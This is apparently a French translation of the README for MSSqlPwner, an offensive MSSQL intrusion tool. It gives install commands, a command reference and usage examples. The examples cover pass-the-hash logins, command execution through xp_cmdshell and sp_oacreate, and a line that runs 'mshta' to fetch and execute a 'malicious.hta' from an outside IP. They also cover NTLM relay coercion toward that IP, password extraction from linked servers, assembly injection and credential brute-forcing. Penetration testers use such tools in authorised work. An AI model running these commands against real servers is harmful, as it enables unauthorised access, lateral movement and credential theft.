
Outil avancé de test d'intrusion MSSQL pour le mouvement latéral, l'exécution de commandes, le relais NTLM et les attaques par force brute via des serveurs liés et plusieurs méthodes d'authentification.
MSSqlPwner est un outil de test de pénétration avancé et polyvalent conçu pour interagir de manière transparente et pwn les serveurs MSSQL.
Cet outil est basé sur impacket, qui permet aux attaquants de s'authentifier aux bases de données en utilisant des mots de passe en clair, des hashs NTLM et des tickets Kerberos.
Avec MSSqlPwner, les utilisateurs peuvent exécuter des commandes personnalisées via diverses méthodes, notamment l'assembly personnalisé, xp_cmdshell, et sp_oacreate (Ole Automation Procedures) et bien plus encore.
L'outil commence par une énumération récursive des serveurs liés et des usurpations possibles afin de rassembler toutes les chaînes possibles pour l'exécution de commandes.
De plus, l'outil MSSqlPwner peut être utilisé pour des capacités de relais NTLM, en utilisant des fonctions telles que xp_dirtree, xp_subdirs, xp_fileexist.
Cet outil peut être utilisé pour des évaluations de mouvement latéral et l'exploration de serveurs liés.
Si l'utilisateur MSSQL authentifié n'a pas la permission d'exécuter certaines opérations, l'outil peut trouver la bonne chaîne qui permettra l'exécution de commandes. Par exemple, si votre utilisateur ne peut pas exécuter de commandes dans le contexte actuel, l'outil construira une chaîne qui utilisera un serveur lié et se reconnectera à notre serveur avec des privilèges élevés.
Démarrer avec mssqlpwner est simple. Vous pouvez le faire en installant directement depuis le dépôt :
pip install 'mssqlpwner@git+https://github.com/ScorpionesLabs/MSSqlPwner.git'
Ou, en utilisant pipx - et vous devriez -, essayez ceci :
pipx install 'git+https://github.com/ScorpionesLabs/MSSqlPwner.git'
Et vous pouvez maintenant utiliser votre nouvel outil favori :
mssqlpwner -hashes ':0CB6948805F797BF2A82807973B89537' 'Administrator'@172.16.2.12 -windows-auth interactive
Cet outil est pris en charge par plusieurs méthodes d'authentification et est décrit ci-dessous.
Cet outil est conçu pour les professionnels de la sécurité et les chercheurs à des fins de test uniquement et ne doit pas être utilisé à des fins illégales.
interactive : permet d'utiliser l'outil de manière interactive avec exécution en direct.enumerate : énumère les serveurs liés et les chaînes.get-chain-list obtient la liste des chaînes :
-filter-hostname HOSTNAME - Obtenir les résultats filtrés avec un nom d'hôte spécifique.get-link-server-list obtient la liste des serveurs liés.set-chain Définit l'ID de chaîne (Pour le mode interactif uniquement !)
CHAIN - L'ID de chaîne à définir.set-link-server Définit le serveur lié (Pour le mode interactif uniquement !)
LINK - Le serveur lié à définir.get-rev2self-queries récupère les requêtes pour revenir à SELF (Pour le mode interactif uniquement !).get-adsi-provider-list récupère la liste des fournisseurs ADSI.exec Exécute des commandes en utilisant exec sur le serveur local ou sur des serveurs liés
COMMAND - La commande à exécuter.-command_execution_method - La méthode d'exécution de commande à utiliser.
xp_cmdshell - Exécute des commandes en utilisant la procédure xp_cmdshell (Par défaut).sp_oacreate - Exécute des commandes en utilisant la procédure Ole Automation Procedure (Doit être utilisée comme "cmd /c quelque chose").retrieve-password Récupération de mot de passe à partir de fournisseurs ADSI.
-listen-port - Le port d'écoute (Par défaut : 1389).-adsi-provider - Fournisseur ADSI à utiliser (s'il n'est pas défini, il choisira automatiquement).-arch - L'architecture à utiliser (si elle n'est pas définie, elle choisira automatiquement).
x86 - Utiliser l'architecture x86.x64 - Utiliser l'architecture x64.ntlm-relay - Forcer le relais NTLM vers un serveur.
SMB_SERVER - Le serveur SMB vers lequel relayer.-relay-method - La méthode de relais à utiliser.
xp_dirtree - Utiliser la procédure xp_dirtree (Par défaut).xp_subdirs - Utiliser la procédure xp_subdirs.xp_fileexist - Utiliser la procédure xp_fileexist (Dans certaines situations, ce module doit être exécuté à partir d'une chaîne privilégiée).custom-asm - Exécute des procédures en utilisant un assembly personnalisé
COMMAND - La commande/chemin ou requête à utiliser.-procedure-name - Le nom de la procédure à utiliser (Par défaut : execute_command).
execute_command - Exécute des commandes en utilisant un assembly personnalisé (Par défaut).run_query - Exécute des requêtes en utilisant un assembly personnalisé.run_query_system_service - Exécute des requêtes en utilisant un assembly personnalisé en tant qu'utilisateur système (Comme SqlSVC).inject-custom-asm Injecte du code en utilisant un assembly personnalisé.
file_location - L'emplacement du fichier à injecter.-procedure-name - Le nom de la procédure à utiliser (Par défaut : ).direct-query Exécute des requêtes directesQUERY - La requête à exécuter.-query-method - La méthode de requête à utiliser.
OpenQuery - Utiliser la procédure OpenQuery (Par défaut).exec_at - Utiliser la procédure exec AT.brute Lance un bruteforce (Peut recevoir des tickets, des hashs et des mots de passe)TARGETS_FILE - un fichier contenant les hôtes et IP à bruteforcer.-ul - un fichier contenant les utilisateurs à bruteforcer.-pl - un fichier contenant les mots de passe à bruteforcer.-tl - un fichier contenant les tickets à bruteforcer.-hl - un fichier contenant les hashs à bruteforcer.-link-name - Le nom du serveur lié à utiliser-chain-id - L'ID de chaîne à utiliser-max-link-depth - La profondeur maximale de lien à utiliser (Par défaut : 10)-max-impersonation-depth - La profondeur maximale d'usurpation à utiliser (Par défaut : 10)-auto-yes - Répondre automatiquement oui à toutes les questions (Par défaut : Faux)-timeout - Le délai d'attente à utiliser (Par défaut : 30)MSSqlPwner offre des opportunités pour les évaluations de mouvement latéral et l'exploration de serveurs liés. Dans les scénarios où la session actuelle manque de privilèges administratifs, l'outil tente de trouver une chaîne qui élève ses propres privilèges via des serveurs liés. Si une session sur un serveur lié a des privilèges plus élevés, l'outil peut interagir avec le serveur lié et effectuer une requête liée de retour vers l'hôte avec des privilèges élevés, permettant un mouvement latéral avec le serveur cible.
Pris en charge par plusieurs méthodes d'authentification, notamment :
L'outil s'adapte à divers scénarios et environnements, vérifiant l'efficacité des mécanismes d'authentification.
Améliorez vos évaluations d'environnement MSSQL avec la puissance et la polyvalence de MSSqlPwner. Découvrez de nouvelles possibilités de mouvement latéral, d'interrogation furtive et d'évaluations de sécurité précises avec l'outil MSSqlPwner.
# Interactive mode
mssqlpwner corp.com/user:[email protected] -windows-auth interactive
# Interactive mode with 2 depth level of impersonations
mssqlpwner corp.com/user:[email protected] -windows-auth -max-impersonation-depth 2 interactive
# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:[email protected] -windows-auth custom-asm hostname
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 custom-asm hostname
# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec hostname
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:[email protected] -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:[email protected] -windows-auth ntlm-relay 192.168.45.250
# Executing direct query
mssqlpwner corp.com/user:[email protected] -windows-auth direct-query "SELECT CURRENT_USER"
# Retrieving password from the linked server DC01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 retrive-password
# Execute code using custom assembly on the linked server DC01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
rev2self revenir à SELF (Pour le mode interactif uniquement !).Inject